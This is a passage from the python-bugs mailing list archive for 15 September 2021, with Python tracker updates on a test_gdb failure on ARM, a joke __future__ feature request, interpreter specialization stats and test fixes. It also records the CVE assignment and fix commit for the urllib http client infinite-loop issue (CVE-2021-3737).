  File "/var/lib/buildbot/workers/3.10.gps-raspbian/build/Lib/test/test_gdb.py", line 295, in assertMultilineMatches
    self.fail(msg='%r did not match %r' % (actual, pattern))
AssertionError: 'Breakpoint 1 at 0x258ba4: file Python/bltinmodule.c, line 1194.\n[Thread debugging using libthread_db enabled]\nUsing host libthread_db library "/lib/arm-linux-gnueabihf/libthread_db.so.1".\n\nBreakpoint 1, builtin_id (self=, v=42) at Python/bltinmodule.c:1194\n1194\t{\nTraceback (most recent call first):\n  \n' did not match '^.*\nTraceback \\(most recent call first\\):\n  \n  File ".*gdb_sample.py", line 10, in baz\n    id\\(42\\)\n  File ".*gdb_sample.py", line 7, in bar\n    baz\\(a, b, c\\)\n  File ".*gdb_sample.py", line 4, in foo\n    bar\\(a, b, c\\)\n  File ".*gdb_sample.py", line 12, in \n    foo\\(1, 2, 3\\)\n'

Stderr:
Python Exception  Cannot access memory at address 0xfdfdfd83: 
Error occurred in Python: Cannot access memory at address 0xfdfdfd83

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep 15 05:19:26 2021
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 15 Sep 2021 09:19:26 +0000
Subject: [issue40746] test_gdb failing on 32-bit armv7l when built with GCC
 -Og:  Cannot access memory at address 0xfffffedc
In-Reply-To: <1590258625.25.0.246740749681.issue40746@roundup.psfhosted.org>
Message-ID: <1631697566.31.0.233893501984.issue40746@roundup.psfhosted.org>


Change by STINNER Victor :


----------
title: test_gdb failing on 32-bit armv7l when built with GCC -Og (fail on Raspbian on 3.9, regression from 3.8) -> test_gdb failing on 32-bit armv7l when built with GCC -Og:  Cannot access memory at address 0xfffffedc

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep 15 05:35:25 2021
From: report at bugs.python.org (Irit Katriel)
Date: Wed, 15 Sep 2021 09:35:25 +0000
Subject: [issue45152] Prepare for splitting LOAD_CONST into several opcodes
In-Reply-To: <1631196564.41.0.680638780635.issue45152@roundup.psfhosted.org>
Message-ID: <1631698525.25.0.929399735431.issue45152@roundup.psfhosted.org>


Change by Irit Katriel :


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep 15 05:37:23 2021
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 15 Sep 2021 09:37:23 +0000
Subject: [issue44022] CVE-2021-3737: urllib http client possible infinite loop
 on a 100 Continue response
In-Reply-To: <1620061983.98.0.377096987447.issue44022@roundup.psfhosted.org>
Message-ID: <1631698643.28.0.327863735356.issue44022@roundup.psfhosted.org>


STINNER Victor  added the comment:

Matej Cepl: "Is there a CVE for this?"

Yes, CVE-2021-3737 was assigned to this issue.

* https://access.redhat.com/security/cve/CVE-2021-3737
* https://bugzilla.redhat.com/show_bug.cgi?id=1995162

----------
nosy: +vstinner
title: urllib http client possible infinite loop on a 100 Continue response -> CVE-2021-3737: urllib http client possible infinite loop on a 100 Continue response

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep 15 05:46:36 2021
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 15 Sep 2021 09:46:36 +0000
Subject: [issue44022] CVE-2021-3737: urllib http client possible infinite loop
 on a 100 Continue response
In-Reply-To: <1620061983.98.0.377096987447.issue44022@roundup.psfhosted.org>
Message-ID: <1631699196.36.0.339516168752.issue44022@roundup.psfhosted.org>


STINNER Victor  added the comment:

I created https://python-security.readthedocs.io/vuln/urllib-100-continue-loop.html to track the issue.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep 15 05:49:12 2021
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 15 Sep 2021 09:49:12 +0000
Subject: [issue44022] CVE-2021-3737: urllib http client possible infinite loop
 on a 100 Continue response
In-Reply-To: <1620061983.98.0.377096987447.issue44022@roundup.psfhosted.org>
Message-ID: <1631699352.13.0.149649274802.issue44022@roundup.psfhosted.org>


STINNER Victor  added the comment:

I'm not sure why the fix in the main branch was not listed here:

commit 47895e31b6f626bc6ce47d175fe9d43c1098909d
Author: Gen Xu 
Date:   Wed May 5 15:42:41 2021 -0700

    bpo-44022: Fix http client infinite line reading (DoS) after a HTTP 100 Continue (GH-25916)
    
    Fixes http.client potential denial of service where it could get stuck reading lines from a malicious server after a 100 Continue response.
    
    Co-authored-by: Gregory P. Smith 

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep 15 06:01:52 2021
From: report at bugs.python.org (theeshallnotknowethme)
Date: Wed, 15 Sep 2021 10:01:52 +0000
Subject: [issue45202] Add 'remove_barry_from_BDFL' future to revert effects of
 'from __future__ import barry_as_FLUFL'
Message-ID: <1631700112.53.0.581578028786.issue45202@roundup.psfhosted.org>


New submission from theeshallnotknowethme :

Add a flag named 'CO_FUTURE_REVOLT_AND_REMOVE_BARRY_FROM_BDFL' assigned to `0x2000000` that can be activated with 'from __future__ import remove_barry_from_BDFL'. Reverts the effects of 'from __future__ import barry_as_FLUFL' and adds the 'CO_FUTURE_REVOLT_AND_REMOVE_BARRY_FROM_BDFL' flag in indication that Barry has been overthrown from his position. Doing this before a 'from __future__ import barry_as_FLUFL' import will have no effect whatsoever. Redoing 'from __future__ import barry_as_FLUFL' will remove the flag and re-add the 'CO_FUTURE_BARRY_AS_BDFL' flag. There can be optional messages informing users of the change.

----------
components: Library (Lib)
messages: 401822
nosy: February291948
priority: normal
severity: normal
status: open
title: Add 'remove_barry_from_BDFL' future to revert effects of 'from __future__ import barry_as_FLUFL'
type: enhancement
versions: Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep 15 06:03:02 2021
From: report at bugs.python.org (theeshallnotknowethme)
Date: Wed, 15 Sep 2021 10:03:02 +0000
Subject: [issue45202] Add 'remove_barry_from_BDFL' future to revert effects of
 'from __future__ import barry_as_FLUFL'
In-Reply-To: <1631700112.53.0.581578028786.issue45202@roundup.psfhosted.org>
Message-ID: <1631700182.06.0.826471826019.issue45202@roundup.psfhosted.org>


Change by theeshallnotknowethme :


----------
keywords: +patch
pull_requests: +26762
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28349

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep 15 06:51:14 2021
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 15 Sep 2021 10:51:14 +0000
Subject: [issue21302] time.sleep (floatsleep()) should use clock_nanosleep()
 on Linux
In-Reply-To: <1397851923.06.0.0550198760464.issue21302@psf.upfronthosting.co.za>
Message-ID: <1631703074.72.0.249819473435.issue21302@roundup.psfhosted.org>


Change by STINNER Victor :


----------
pull_requests: +26764
pull_request: https://github.com/python/cpython/pull/28350

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep 15 07:13:27 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 15 Sep 2021 11:13:27 +0000
Subject: [issue44786] test_check_c_globals "crashed" and then "FutureWarning:
 Possible nested set at position 12"
In-Reply-To: <1627669677.16.0.177295366811.issue44786@roundup.psfhosted.org>
Message-ID: <1631704407.46.0.638171657517.issue44786@roundup.psfhosted.org>


Change by Serhiy Storchaka :


----------
keywords: +patch
nosy: +serhiy.storchaka
nosy_count: 1.0 -> 2.0
pull_requests: +26765
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28351

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep 15 07:14:17 2021
From: report at bugs.python.org (theeshallnotknowethme)
Date: Wed, 15 Sep 2021 11:14:17 +0000
Subject: [issue45202] Add 'remove_barry_from_BDFL' future to revert effects of
 'from __future__ import barry_as_FLUFL'
In-Reply-To: <1631700112.53.0.581578028786.issue45202@roundup.psfhosted.org>
Message-ID: <1631704457.12.0.0916068243609.issue45202@roundup.psfhosted.org>


Change by theeshallnotknowethme :


----------
versions: +Python 3.10

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep 15 07:14:22 2021
From: report at bugs.python.org (theeshallnotknowethme)
Date: Wed, 15 Sep 2021 11:14:22 +0000
Subject: [issue45202] Add 'remove_barry_from_BDFL' future to revert effects of
 'from __future__ import barry_as_FLUFL'
In-Reply-To: <1631700112.53.0.581578028786.issue45202@roundup.psfhosted.org>
Message-ID: <1631704462.38.0.164271749789.issue45202@roundup.psfhosted.org>


Change by theeshallnotknowethme :


----------
versions:  -Python 3.10

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep 15 08:24:20 2021
From: report at bugs.python.org (Mark Shannon)
Date: Wed, 15 Sep 2021 12:24:20 +0000
Subject: [issue45203] Improve specialization stats for LOAD_METHOD and
 BINARY_SUBSCR
Message-ID: <1631708660.87.0.151822641223.issue45203@roundup.psfhosted.org>


New submission from Mark Shannon :

The stats for BINARY_SUBSCR and to a lesser amount LOAD_METHOD don't tell us much about what isn't being specialized.

We should refine the stats to give us a better idea of what to optimize for.

----------
assignee: Mark.Shannon
components: Interpreter Core
messages: 401823
nosy: Mark.Shannon
priority: normal
severity: normal
status: open
title: Improve  specialization stats for LOAD_METHOD and BINARY_SUBSCR

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep 15 08:26:52 2021
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 15 Sep 2021 12:26:52 +0000
Subject: [issue21302] time.sleep (floatsleep()) should use clock_nanosleep()
 on Linux
In-Reply-To: <1397851923.06.0.0550198760464.issue21302@psf.upfronthosting.co.za>
Message-ID: <1631708812.54.0.0946426140657.issue21302@roundup.psfhosted.org>


STINNER Victor  added the comment:


New changeset b49263b698993cad2b8aaddc55cdeaa678412b30 by Victor Stinner in branch 'main':
bpo-21302: Add _PyTime_AsNanoseconds() (GH-28350)
https://github.com/python/cpython/commit/b49263b698993cad2b8aaddc55cdeaa678412b30


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep 15 08:39:00 2021
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 15 Sep 2021 12:39:00 +0000
Subject: [issue45195] test_readline: test_nonascii() failed on aarch64 RHEL8
 Refleaks 3.x
In-Reply-To: <1631618041.01.0.810175030001.issue45195@roundup.psfhosted.org>
Message-ID: <1631709540.79.0.338787207656.issue45195@roundup.psfhosted.org>


STINNER Victor  added the comment:


New changeset 4ce55cceb2901c564962f724448a9ced00c8a738 by Miss Islington (bot) in branch '3.9':
bpo-45195: Fix test_readline.test_nonascii() (GH-28329) (GH-28334)
https://github.com/python/cpython/commit/4ce55cceb2901c564962f724448a9ced00c8a738


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep 15 08:38:52 2021
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 15 Sep 2021 12:38:52 +0000
Subject: [issue45195] test_readline: test_nonascii() failed on aarch64 RHEL8
 Refleaks 3.x
In-Reply-To: <1631618041.01.0.810175030001.issue45195@roundup.psfhosted.org>
Message-ID: <1631709532.76.0.424634029831.issue45195@roundup.psfhosted.org>


STINNER Victor  added the comment:


New changeset ececa53b7fc9c21d0c8153153e3c19da1d0a1e80 by Miss Islington (bot) in branch '3.10':
bpo-45195: Fix test_readline.test_nonascii() (GH-28329) (GH-28333)
https://github.com/python/cpython/commit/ececa53b7fc9c21d0c8153153e3c19da1d0a1e80


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep 15 08:39:22 2021
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 15 Sep 2021 12:39:22 +0000
Subject: [issue45195] test_readline: test_nonascii() failed on aarch64 RHEL8
 Refleaks 3.x
In-Reply-To: <1631618041.01.0.810175030001.issue45195@roundup.psfhosted.org>
Message-ID: <1631709562.62.0.199751348188.issue45195@roundup.psfhosted.org>


Change by STINNER Victor :


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions: +Python 3.10, Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep 15 08:42:38 2021
From: report at bugs.python.org (Mark Shannon)
Date: Wed, 15 Sep 2021 12:42:38 +0000
Subject: [issue45203] Improve specialization stats for LOAD_METHOD and
 BINARY_SUBSCR
In-Reply-To: <1631708660.87.0.151822641223.issue45203@roundup.psfhosted.org>
Message-ID: <1631709758.46.0.19080890879.issue45203@roundup.psfhosted.org>


Change by Mark Shannon :


----------
keywords: +patch
pull_requests: +26766
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28352

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep 15 08:49:41 2021
From: report at bugs.python.org (theeshallnotknowethme)
Date: Wed, 15 Sep 2021 12:49:41 +0000
Subject: [issue45202] Add 'remove_barry_from_BDFL' future to revert effects of
 'from __future__ import barry_as_FLUFL'
In-Reply-To: <1631700112.53.0.581578028786.issue45202@roundup.psfhosted.org>
Message-ID: <1631710181.08.0.549106963376.issue45202@roundup.psfhosted.org>


Change by theeshallnotknowethme :


----------
components: +Interpreter Core, Parser
nosy: +lys.nikolaou, pablogsal

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep 15 09:09:36 2021
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 15 Sep 2021 13:09:36 +0000
Subject: [issue44786] test_check_c_globals "crashed" and then "FutureWarning:
 Possible nested set at position 12"
In-Reply-To: <1627669677.16.0.177295366811.issue44786@roundup.psfhosted.org>
Message-ID: <1631711376.58.0.0249445070898.issue44786@roundup.psfhosted.org>


STINNER Victor  added the comment:

The warning comes from this regex: Tools/c-analyzer/c_common/tables.py", line 236

_COLSPEC_RE = re.compile(textwrap.dedent(r'''
    ^
    (?:
        [[]
        (
            (?: [^\s\]] [^\]]* )?
            [^\s\]]
        )  #